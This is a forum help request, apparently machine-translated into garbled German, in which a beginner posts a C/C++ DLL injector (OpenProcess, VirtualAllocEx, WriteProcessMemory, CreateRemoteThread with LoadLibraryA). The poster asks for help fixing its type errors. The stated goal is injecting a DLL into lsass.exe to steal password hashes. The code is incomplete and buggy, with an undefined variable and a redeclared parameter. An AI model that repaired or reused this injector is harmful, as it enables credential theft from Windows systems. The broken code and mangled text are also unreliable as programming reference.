hey ich versuche, eine DLL in einen Prozess zu injizieren, d. H. Lsass.exe, um Hashes zu bekommen.Sein bisschen hacky, kann aber nicht helfen, mein Projekt. Ich habe einen Code der Injektion dll aber in Visual C++ gibt es Fehler wie ..dll Injektion mit C
bei TEXT ("LoadLibraryA")))) ---- >>> Argument const wchar unvereinbar mit LPCSTR
bei lpFuncAddr ----------- >>> Argument Typ "LPVOID" unvereinbar mit dem Parameter-Typ "LPTHREAD_START ROUTINE"
Code:
BOOL InjectDLL(DWORD dwProcessId, LPCSTR lpszDLLPath)
{
HANDLE hProcess, hThread;
LPVOID lpBaseAddr, lpFuncAddr;
DWORD dwMemSize, dwExitCode;
BOOL bSuccess = FALSE;
HMODULE hUserDLL;
//convert char to wchar
char *lpszDLLPath = "hash.dll";
size_t origsize = strlen(orig) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t dllpath[newsize];
mbstowcs_s(&convertedChars, dllpath, origsize, orig, _TRUNCATE);
if((hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION
|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwProcessId)))
{
dwMemSize = wcslen(dllpath) + 1;
if((lpBaseAddr = VirtualAllocEx(hProcess, NULL, dwMemSize, MEM_COMMIT, PAGE_READWRITE)))
{
if(WriteProcessMemory(hProcess, lpBaseAddr, lpszDLLPath, dwMemSize, NULL))
{
if((hUserDLL = LoadLibrary(TEXT("kernel32.dll"))))
{
if((lpFuncAddr = GetProcAddress(hUserDLL, TEXT("LoadLibraryA"))))
{
if((hThread = CreateRemoteThread(hProcess, NULL, 0, lpFuncAddr, lpBaseAddr, 0, NULL)))
{
WaitForSingleObject(hThread, INFINITE);
if(GetExitCodeThread(hThread, &dwExitCode)) {
bSuccess = (dwExitCode != 0) ? TRUE : FALSE;
}
CloseHandle(hThread);
}
}
FreeLibrary(hUserDLL);
}
}
VirtualFreeEx(hProcess, lpBaseAddr, 0, MEM_RELEASE);
}
CloseHandle(hProcess);
}
return bSuccess;
}
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow)
{
if(InjectDLL(PROCESSID, "hash.dll")) {
MessageBox(NULL, TEXT("DLL Injected!"), TEXT("DLL Injector"), MB_OK);
}else {
MessageBox(NULL, TEXT("Couldn't inject DLL"), TEXT("DLL Injector"), MB_OK | MB_ICONERROR);
}
return 0;
}
ima Anfänger dLL und Windows-Programmierung so Ich schätze deine Hilfe.
thnx ich versuche es – AJINKYA